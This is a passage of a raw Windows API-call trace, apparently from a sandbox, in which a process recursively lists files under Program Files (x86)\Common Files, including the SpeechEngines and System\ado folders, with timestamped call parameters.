(in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0076.549] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT") returned="M1033DSK.UNT" [0076.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0076.549] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="" [0076.550] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.550] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*") returned="*.*" [0076.550] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0076.550] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="" [0076.551] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.551] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned="MSTTSFrontendENU.dll" [0076.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0076.551] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="" [0076.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.551] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*") returned="*.*" [0076.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0076.551] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0076.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.551] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll") returned="MSTTSCommon.dll" [0076.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0076.552] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0076.552] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.552] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSDecWrp.dll") returned="MSTTSDecWrp.dll" [0076.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0076.552] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0076.552] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.552] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll") returned="MSTTSEngine.dll" [0076.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0076.552] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="" [0076.553] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\*.*") returned="*.*" [0076.553] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.555] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\*.*") returned="*.*" [0076.555] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.557] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.557] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\*.*") returned="*.*" [0076.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.557] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.559] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.559] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\adojavas.inc") returned="adojavas.inc" [0076.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.559] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.559] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\adovbs.inc") returned="adovbs.inc" [0076.559] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501586, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.560] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.560] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*.*") returned="*.*" [0076.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\" [0076.561] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\") returned="" [0076.562] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.562] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\*.*") returned="*.*" [0076.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.562] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.562] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.562] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msader15.dll") returned="msader15.dll" [0076.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.563] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.563] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.563] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll") returned="msado15.dll" [0076.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.563] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.563] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.563] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado20.tlb") returned="msado20.tlb" [0076.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.563] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.563] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.563] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado21.tlb") returned="msado21.tlb" [0076.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.563] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.564] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.564] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado25.tlb") returned="msado25.tlb" [0076.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.564] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.564] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.564] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado26.tlb") returned="msado26.tlb" [0076.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.564] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.565] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.565] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado27.tlb") returned="msado27.tlb" [0076.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.565] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.565] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.565] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msado28.tlb") returned="msado28.tlb" [0076.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.565] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.565] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.565] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd.dll") returned="msadomd.dll" [0076.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.565] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.565] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.565] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadomd28.tlb") returned="msadomd28.tlb" [0076.566] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.566] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.566] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.566] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msador15.dll") returned="msador15.dll" [0076.566] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.566] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.566] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.566] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox.dll") returned="msadox.dll" [0076.566] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.566] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.566] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.566] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadox28.tlb") returned="msadox28.tlb" [0076.566] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.566] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.567] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.567] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\msadrh15.dll") returned="msadrh15.dll" [0076.567] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="C:\\Program Files (x86)\\Common Files\\System\\ado\\" [0076.567] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\ado\\") returned="" [0076.567] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0076.567] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\*.*") returned="*.*" [0076.567] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\") returned="C:\\Program Files (x86)\\Common Files\\System\\" [0076.567] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\") returned="" [0076.569] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="DirectDB.dll" [0076.569] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x500576, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.570] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.570] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\en-US\\*.*") returned="*.*" [0076.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\en-US\\" [0076.570] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\en-US\\") returned="" [0076.571] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\*.*") returned="*.*" [0076.571] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.580] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.580] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\*.*") returned="*.*" [0076.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" [0076.580] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\") returned="" [0076.582] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.582] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcjavas.inc") returned="adcjavas.inc" [0076.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" [0076.582] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\") returned="" [0076.582] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\adcvbs.inc") returned="adcvbs.inc" [0076.582] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50158a, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.584] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.584] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*.*") returned="*.*" [0076.584] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" [0076.584] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="" [0076.585] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.585] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned="msadcer.dll.mui" [0076.585] lstrcpyA (in: lpString1=0x407019, 